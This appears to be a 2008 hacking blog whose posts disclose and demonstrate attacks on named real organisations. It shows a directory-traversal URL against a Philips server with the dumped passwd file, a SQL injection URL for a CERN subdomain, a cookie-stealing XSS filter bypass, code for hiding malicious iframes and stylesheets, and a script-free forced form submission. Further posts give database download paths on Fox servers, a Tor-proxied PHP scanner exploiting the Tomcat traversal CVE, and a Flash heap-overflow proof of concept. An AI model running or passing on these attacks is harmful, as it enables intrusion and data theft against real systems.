0x000000 Security

Who Wants To Root Philips.

Writing about hacking and security isn't like anything else. It's cool and depressing, fun and dangerous at the same time. You'll never know what to expect. That's the beauty of it I guess. Since application hacking is quite well known by now, it depresses me very much to encounter things I am to speak about.

My first directory traversal was around 1999 when I more or less found myself intrigued by web applications and was pretty stunned that I could hack Cisco from a browser instead of a terminal. Imagine that you know, without any GNU/Linux skills running Netscape on some Windows box trying to proof-root Cisco and send them my findings. And guess what, they never replied back. Maybe the hole is still open after all these years, who knows. It's fair to conclude that programmers still suck at security and it's likely not going to change any time soon. But the biggest problem for hackers or security pentesters is the way they have to contact a company to notify them of their security issues. To be honest, I never got a honest mail back, from no-one besides a couple of threats. One of them was Bank Of America, who pulled the plug on this very website. But I guess that comes with the territory. In the real world everyone would be happy if your neighbors notify you, that you forgot your house keys on the outside of the front door. But no, not in Internet land.

A reader called haykuro, contacted me one month ago about a gaping hole on the Philips domain. A classic directory traversal vulnerability. While that wasn't enough, I tried to be an upstanding citizen and contacted Philips. Which turns out to be virtually impossible. They seem to have really good human resource firewalls, but lack proper application firewalls. They never got back to me even when I said that I will disclose it unto the net. So, one month later and it's still not fixed. I took a couple of hours to write mails back and forth, all in vain. Now I got only one thing to say: go suck on it!

Directory traversal:

http://www.trimension.philips.com/index.php?page=../../../../../../etc/passwd

Notice that the passwords are shadowed. At least they got that right. A shadowed password is indicated as an X. This means that the passwords aren't visible in the passwd file but reside in the shadow file. Nonetheless, you can obtain any file you want.

passwd file:

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin 

daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin 

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync 

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt 

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: 

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:

/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin 

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin

/nologin nobody:x:99:99:Nobody:/:/sbin/nologin vcsa:x:69:69:virtual console memory

 owner:/dev:/sbin/nologin rpm:x:37:37::/var/lib/rpm:/sbin/nologin 

netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash nscd:x:28:28:NSCD 

Daemon:/:/sbin/nologin ident:x:100:101::/home/ident:/sbin/nologin 

sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin 

rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var

/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:

/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var

/spool/mqueue:/sbin/nologin pcap:x:77:77::/var/arpwatch:/sbin/nologin 

apache:x:48:48:Apache:/var/www:/bin/false ntp:x:38:38::/etc/ntp:/sbin/nologin 

administrator:x:201:201::/home/administrator:/bin/bash fhsvct:x:203:203::/home/fhsvcs:

/bin/false webstats:x:250:250::/var/ossec:/sbin/nologin

Hacking The Large Hadron Collider.

Is anyone yet convinced why I don't trust that Large Hadron Collider? should we be concerned? I think that's a healthy question. If DNS doesn't blow up the world as we know it, the Large Hadron Collider will. You might heard about some Greek hackers who defaced a CERN sub domain, if not, there you go: you know now. That was kind of interesting because CERN said that the hacker was 1 step away from entering the CPU of the hadron detectors and could shut it off if he knew how.

Read that again please:

They defaced a CERN subdomain that was 1 CPU away from one of the detectors and could shut the LHC off.

"Hacking is a bad thing," said Lee Smolin, a professor at the Perimeter Institute for Theoretical Physics who is not involved with the Collider.[1] Maybe it's a good idea to collide two braincells before hallucinating on the idea that smashing two proton beams into each other is of no concern and only produces pretty fractal visuals, because it turns out the net is everywhere. Being responsible involves letting the public know the potential risks, and that is exactly what the Greek hackers did.

So how hard is it really? hacking the LHC for destruction and fun? CERN probably has a wide range of computers running. So it's easy to even imagine a single flaw some place. A six billion dollar failure in completion is, of course, too tempting for most scientist to screw around with, let alone for hackers. Here is what Google found for me in under 2 minutes. I am certain you will find the rest.

http://hcc.web.cern.ch/hcc/safety_subsec.php?safetysub=A45' OR 1=1--

That doesn't do much, it's only a blind SQL injection indicator, or Web 1.0 page navigation, depending on where you stand. So, some advise to the CERN people: Hire someone to secure your systems, it's free advise. And to make sure I have only good intentions: CERN drop me a line and I'll pentest your systems for free.

I hope you all sleep well tonight. And please be gentle with that Higgs-Boson when you find it eh?

[1] http://blog.wired.com/wiredscience/2008/09/hackers-infiltr.html

Masking Malware.

Over the weekend I thought about new ways in which someone can mask malware for the web. Today malware writers use a big chain of iframes and a mixture of code obfucation to hide their malware from webmasters, surfers and malware security researchers. And so I think it's important to investigate new ways of masking malware, because this can give everyone an edge of what is possible. I found two new ways of hiding malware which rely on a flaw and a feature of a browser and server respectively.

Masking Malware inside Internet Explorer 8 beta.

It is possible to hide the source of an application or a piece of malware in Internet explorer 8 beta by utilizing UTF-16 Big endian encoding. Big Endian and Little Endian refer to the order in which the bytes are stored in memory. The Windows architecture was mainly designed for Little Endian, and so forth some issues arise with software written for Big Endian architecture, and especially UTF16 Big Endian also called UTF-16BE. When changing a meta content-type charset to UTF-16, you can successfully hide malware inside MSIE8B as seen in example 1.

Example 1.

<meta http-equiv="Content-Type" content="text/html; charset=UTF-16" />

However, it is also possible to encode an entire file to UTF-16BE. This has the same result as setting the charset manually. One way of doing this is writing a function to encode it into UTF-16BE or use notepad in Windows and save a document as UTF-16-BE. Another method is use a server-side language to encode a string to UTF-16 as seen in example 2.

Example 2.

<?php



    function utf16($str) {

	

	$utf8 = utf8_encode($str);

	

        if(function_exists('mb_convert_encoding')) {

		

            return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8');

			

       		 } else { 

			 

			return $str;

		}



    }

	

  echo utf16('<iframe src="http://www.google.com/malware/malwarez.html"></iframe>');

?>

They all work when one wants to hide the source code of a page created for Internet Explorer. Firefox should render the page as well, but firefox seems to be UTF-16BE aware when parsing the source back to UTF-8 to display it as "source-code". Google chrome doesn't render the page in UTF-16LE at all.

Masking stylesheet malware.

As some of you know, XSS is also flavored into CSS which results in a bigger XSS attack landscape. Problem is, how do you hide a stylesheet? is it possible at all? the answer is yes. There is a header feature on many platforms that allow for a Link: reference. This means that it's possible to link content into a page through a response header. This way, the stylesheet will not be visible in the source code of a page, and thereby it is possible to mask a stylesheet for inexperienced security researchers. As far as I know only Internet explorer seems to deny a stylesheet sent through the response header.

<?php



header("Link: <stylesheet.css>; rel=\"stylesheet\"; title=\"style\"");



?>

Which is useful in Xsstc Malware, see this test: http://www.tralfamadore.com/test-xsstc.html from Wes Biggs

Conclusion.

Masking malware can be very important for attackers, for malware security researchers it can be a real nightmare. Sadly these two ideas aren't the only one. There are many more ways in masking malware, one thing I did not discuss due to my limited time window, is the use of OBJECTS. With OBJECTS it's possible to let OBJECTS perform like iframes, because they can hold different mime and content types like "text/html" for example that renders an OBJECT as an iframe. Again, posing another great risk for internationalization of web standards. Furthermore it is important to always check the response headers, because what you get sent back doesn't always is what it says it is.

HTML Control Without Javascript.

In some cases users turn off Javascript for some security reasons. HTML has limited scripting, in fact it has almost zero scripting capabilities. Well, that is only true if one discards the FOR attribute on a label element, part of form controls. I talked about this FOR attribute before and how to use it to trick users into uploading files from their computer secretly. Problem was it required Javascript. So I just thought about that FOR attribute, and since it binds a label to another element, it is in fact some sort of scripting right? or at least it's a kind of HTML logic that can be triggered if a user performs something on a element.

Turns out, that it's possible to submit forms with it, without Javascript. Useful, if you're into CSRF and all that. So what I did was the following: I made a HTML page and created a label and inside the label I placed the BODY of the page, containing HTML and text. Now, interestingly the LABEL and it's content is now the button itself through binding of the FOR attribute only invisibly. So, that means that when you select text or click somewhere inside the body, the binding becomes active, and the instruction to submit a form is executed without any scripting at all.

My only hope is that it doesn't create binding between OBJECTS and LABELS, as stated in the Forms RFC[1] where OBJECTS are also seen as control types along fields, buttons and other form items. That would mean that it would be possible to activate OBJECTS through binding labels to it.

Label binding example:

<label for="action">



<body>



      Etymology of "Foo" 1 April 2001

      When used in connection with `bar' it is generally traced to the

      WW II era Army slang acronym FUBAR (`Fucked Up Beyond All

      Repair'), later modified to foobar.  Early versions of the Jargon

      File [JARGON] interpreted this change as a post-war

      bowdlerization, but it now seems more likely that FUBAR was itself

      a derivative of `foo' perhaps influenced by German `furchtbar'

      (terrible) - `foobar' may actually have been the original form.



</body>



</label>



<form action="http://www.google.com" method="get">



    <input type="submit" id="action" style="display:none;">



</form>

[1] http://www.w3.org/TR/html401/interact/forms.html#h-17.2.1

Bypassing MSIE8 XSS Filter By Design.

When MSIE8 beta 2 launched a few days ago, I took it for a little spin to see if it puts up what it says it does. I'm actually quite happy and surprised with the XSS filter, but one thing is quite concerning in my opinion. I talked with David Ross from Microsoft about it over the weekend and explained my thoughts on slashes being put in vectors to subvert the XSS filter.

Since the XSS filter is signature based, I came up with a simple idea to bypass it in certain situations. I know that many programmers use PHP's function stripslashes() as a kind of automatic reflex on data that comes either from a querystring or data that comes out a database. Since the XSS filter analyzes the query string, it is possible to bypass it if a programmer uses stripslashes or a custom written replace function on requested data. Moreover since many PHP installations still use magic_quotes_gpc() programmers will use stripslashes in order to remove the added slashes, so this scenario is not exotic.

This vector gets by unnoticed:

index.php?name="><sc\ript>alert(document.cookie);</script>

Situations where the stripslashes is regularly utilized:

Titles:

<h1><?= stripslashes($_REQUEST['name']);?></h1>

Search:

<h1>You searched for... <?= stripslashes($_REQUEST['name']); ?></h1>

Forms:

<input name="search" value="<?= stripslashes($_REQUEST['name']); ?>" />

etc.

In such cases, the XSS vector passes the XSS filter. Since the XSS filter prevents common programming mistake exploitation, it's likely that those same programmers utilize slash removal functions as a no-brainer as well. So far, this XSS filter is quite nice and it does it's job very good and clean. While it's a minor issue, I really want to see a protection for this issue since it's common occurrence and far from being trivial.

The Dan Kaminskybox.

So I had a little fun with my new soundboard I created, starring the famous Dan Kaminski. Yes the DNS dude, for those who don't know him. A soundboard is used for making prank phone calls, which in terms can be hilarious if you get the right victim to fall for it. Otherwise, it's just good old fun. I thought Dan was the right person for my new soundboard. Because, well it's always fun to hear him talk. I have many of his talks on mp3 so it was easy to compile a wide range of sound clips. Just enough for a good, but quirky prank call. So, enjoy. And if you intend to use it, use it with care eh? :)

It is very easy to use. Just click on a text to let Dan rant!

Hacking Fox.

This is just a walk in the park, really. Google's been on their servers before, due to some weird configuration setting. But well, it's nice to look a couple of months later to see what those foxtards actually did to secure it. Nothing right. So this stuff isn't very post worthy and only annoying, but I reckoned it might wake someone up who also serves up 10 year old Perl/CGI files. I mean what is wrong with these people if I can gain access to a huge user database by using my browser? so much for trusting Fox all your personal details! So what I'll do is going through the steps, I won't show the 100K user database because Google already has it. Ask Google, not me. It is probably public domain since 1997.

So, what up with this code?

EOM

    dbmopen (%QUESTDATA, "../../quest", 0644);

    while (($email, $data_str) = each(%QUESTDATA)) {

	@data = split(/\t/,$data_str);

	$l_name = $data[0];

	$f_name = $data[1];

	$m_init = $data[2];

	$case1 = $data[3];

	$case2 = $data[4];

	$case3 = $data[5];

	$case4 = $data[6];

	if ($case3 eq "yes") {

#	    print "$f_name $m_init $l_name <br> \n";

	    $sortednames{$l_name} = "$f_name $m_init";

	}

    }

    foreach $foo (sort keys(%sortednames)) {

	print "$sortednames{$foo}  $foo<br> \n";

    }

    dbmclose(%QUESTDATA);

    print <<"EOM";

or:

EOM



######################################################



dbmopen(%PLAYERDB, "players", 0666);



while (($email,$data) = each(%PLAYERDB)) {

    ($name,$t1,$t2,$t3,$t4,$t5,$t6) = split(/\|/,$data);

    if (($t1 eq "1") && ($t2 eq "1") && ($t3 eq "1") && ($t4 eq "1") && ($t5 eq "1") && ($t6 eq "1")) {

	print "<P ALIGN=\"CENTER\"><B><FONT COLOR=\"\#FF9933\" SIZE=\"+1\">$name<\/B><\/FONT><\/P>";

    }

}



dbmclose(%PLAYERDB);



#######################################################



print <<"EOM";

See, they use the function dbmopen and access a database or directory storing user data because NDBM is enabled. Thing is, you can access that db though your browser pretty simple. Just use: dbname.dir and you'll download the whole dir or dbname.pag to download the pagefile. Or even better: dbname.data for a complete database.



dbmopen (%QUESTDATA, "../../quest", 0644);



foxserver/foo/bar/../../quest.dir

foxserver/foo/bar/../../quest.pag

foxserver/foo/bar/../../quest.data



dbmopen(%PLAYERDB, "players", 0666);



foxserver/players.dir

foxserver/players.pag

foxserver/players.data

They have old php3 configurations running, giving me complete PHP code access whenever I want to. A screenie below for proof of a simple PHP injection:

Indeed, top secret eh?

Then I got bored, it's so annoying to stumble upon this.

Exploiting Apache Tomcat.

You might have seen the new Apache Tomcat <= 6.0.18 vulnerability found by Simon Ryeo[1]. The vulnerability involved a problem in Tomcat with processing UTF-8 encoded URI's which resulted in a directory traversal and canonicalization issues while mapping the paths. If context.xml or server.xml allows 'allowLinking' and 'URIencoding' as 'UTF-8', directory traversal becomes possible. Curious enough this is pretty much de facto on *NIX systems. Ah the joy of standards! I don't know what is happening at Apache, but Tomcat is quite often vulnerable. It isn't the first time you see.

So let's exploit *cough* test it:

<?php



$url = "http://www.google.com";



$dir = array(

"%c0%ae%c0%ae/etc/passwd",

"%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/httpd/access_log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/httpd/error_log",

"%c0%ae%c0%ae/apache/logs/error.log",

"%c0%ae%c0%ae/apache/logs/access.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/error.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/access.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/error.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/access.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/error.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/access.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/error.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/access.log",

"%c0%ae%c0%ae/logs/error.log",

"%c0%ae%c0%ae/logs/access.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/logs/error.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/logs/access.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/error.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/access.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/error.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/access.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/error.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/access.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/httpd/logs/access_log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/httpd/logs/access.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/httpd/logs/error_log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/httpd/logs/error.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/www/logs/access_log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/www/logs/access.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/usr/local/apache/logs/access_log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/usr/local/apache/logs/access.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/apache/access_log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/apache/access.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/access_log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/www/logs/error_log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/www/logs/error.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/usr/local/apache/logs/error_log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/usr/local/apache/logs/error.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/apache/error_log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/apache/error.log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/access_log",

"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/error_log"

);



function wrap($url){



$ua = array('Mozilla','Opera','Microsoft Internet Explorer','ia_archiver');

$op = array('Windows','Windows XP','Linux','Windows NT','Windows 2000','OSX');

$agent  = $ua[rand(0,3)].'/'.rand(1,8).'.'.rand(0,9).' ('.$op[rand(0,5)].' '.rand(1,7).'.'.rand(0,9).'; en-US;)';



        # proxy

        $tor = '127.0.0.1:8118';

        $timeout = '300';

        $ack = curl_init(); 

        curl_setopt ($ack, CURLOPT_PROXY, $tor); 

        curl_setopt ($ack, CURLOPT_URL, $url);

        curl_setopt ($ack, CURLOPT_HEADER, 1);  

        curl_setopt ($ack, CURLOPT_USERAGENT, $agent); 

        curl_setopt ($ack, CURLOPT_RETURNTRANSFER, 1); 

        curl_setopt ($ack, CURLOPT_FOLLOWLOCATION, 1);

        curl_setopt ($ack, CURLOPT_TIMEOUT, $timeout);



        $syn = curl_exec($ack);

        $info = curl_getinfo($ack);

        curl_close($ack);

        

    if($info['http_code'] == '200') {

        return $syn;

        die();

      } else {

    return "Fail! :".$info['http_code']."\r\n";

  }

}





    for($i=0;$i<count($dir);$i++) {

       echo wrap($url.":8080/".$dir[$i]);

    }



?>

[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2938

Flash, Fuzzing and Girls.

A short update of developments this week. Let's start with how to impress girls.

I just read some slides from Blackhat, and one that caught my interest was the slides from Mark Dowd and Alexander Sotirov[1]. I guess I don't have to explain who those gentlemen are. Right, now what caught my eye was a mention about the use of verbatim dll pointers in an object. Usually, with ActiveX we load the classid followed by the id that links to the dll. In this case, they just load the dll into the object and that raises no warning in the Internet Zone. Clearly this is some very notable find and certainly material to impress girls with, because I never assumed that that was possible. It shows again that a solution is always in it's environment. It's simple, but brilliant.

Loading verbatim dll's:

<object classid="ControleName.dll#NameSpace.ClassName"></object>

That is only one tiny part of the paper, go read it if you are interested. It is a real eyeopener. It covers:

- "Stack Spraying", an alternative method to heap spraying with some additional benefits
- Exploiting poor permissions, such as Java's RWX memory allocator, and
- Utilizing .NET binaries to map data at an attacker-controlled memory location.

Adobe fixes heap corruption.

Some time ago, I found that the Flash9c.ocx was vulnerable to heap corruption, and that it's possible to overflow the SWRemote property inside the Flash9c.ocx Interface with a very long string generated in VBscript. In my test case it ran for about 30 seconds before crashing and raising an exception, when trying to kill it, it could result in a full system freeze. After updating Flash It seems Adobe fixed this silently in at least Flash9f.ocx. A real bummer for personal research. I cannot reproduce it anymore, because I did not make a copy of Flash9c.ocx for future research. Anyway I learned to make copies now.



Interface IShockwaveFlash : IDispatch

Default Interface: True

Members : 93

	Quality

	ScaleMode

	AlignMode

	BackgroundColor

	Movie

	FrameNum

	SetZoomRect

	Zoom

	Pan

	GotoFrame

	FrameLoaded

	WMode

	SAlign

	Base

	Scale

	BGColor

	Quality2

	LoadMovie

	TGotoFrame

	TGotoLabel

	TCurrentFrame

	TCurrentLabel

	TPlay

	TStopPlay

	SetVariable

	GetVariable

	TSetProperty

	TGetProperty

	TCallFrame

	TCallLabel

	TSetPropertyNum

	TGetPropertyNum

	TGetPropertyAsNumber

	SWRemote

	FlashVars

	AllowScriptAccess

	MovieData

	ProfileAddress

	ProfilePort

	CallFunction

	SetReturnValue

	AllowNetworking

	AllowFullScreen

SWRemote

The property SWRemote inside Flash9x.ocx interface obtains a string passed through the object:

Property Let SWRemote  As String

The proof of concept was:

<object classid='clsid:D27CDB6E-AE6D-11CF-96B8-444553540000' id='foo'>

   <param name="src" value="foo.swf">

</object>



<object classid='clsid:D27CDB6E-AE6D-11CF-96B8-444553540000' id='bar'>

   <param name="src" value="foo.swf">

</object>



<script type='text/vbscript'>



long=String(100000000,"X")



foo.SWRemote=long

bar.SWRemote=long



</script>

Live trace:

Now the interesting thing about this is, I fuzzed all classes in that particular dll without regard if they were considered fuzzable or not. It turns out that, in blackbox fuzzing you can find vulnerabilities that you would not find while fuzzing on assumptions, like COMraider does for example. Secondly, I used two flash objects, or two dll class calls. That made a difference in finding this vulnerability. HD Moore once said that you'll have to know what to fuzz for. This is true in some sense, because it speeds up your fuzzing. But the drawback is, that you cannot encompass all possibilities and quirks. The very vulnerabilities you look for might be not fuzzable without hammering all classes whether they are fuzzable or not, because it turned out that it certainly was in this case.

[1] http://taossa.com/archive/bh08sotirovdowdslides.pdf

Surf Jack.

I got into contact with Sandro from enablesecurity a couple of times before. But the last time I talked with him he gave a very interesting concept that I haven't saw before. He called it: Surf Jacking, HTTPS will NOT save you[1]. Well, what can I say, given the DNS mayhem that is going on lately, this is another hot coal that should be understand by everyone in the security industry before attackers will start to use it in the wild.

Watch the video by Sandro Gauci from enablesecurity demonstrating Surf Jack:

Surf Jacking Gmail demonstration from Sandro Gauci on Vimeo.

[1] http://enablesecurity.com/2008/08/11/surf-jack-https-will-not-save-you/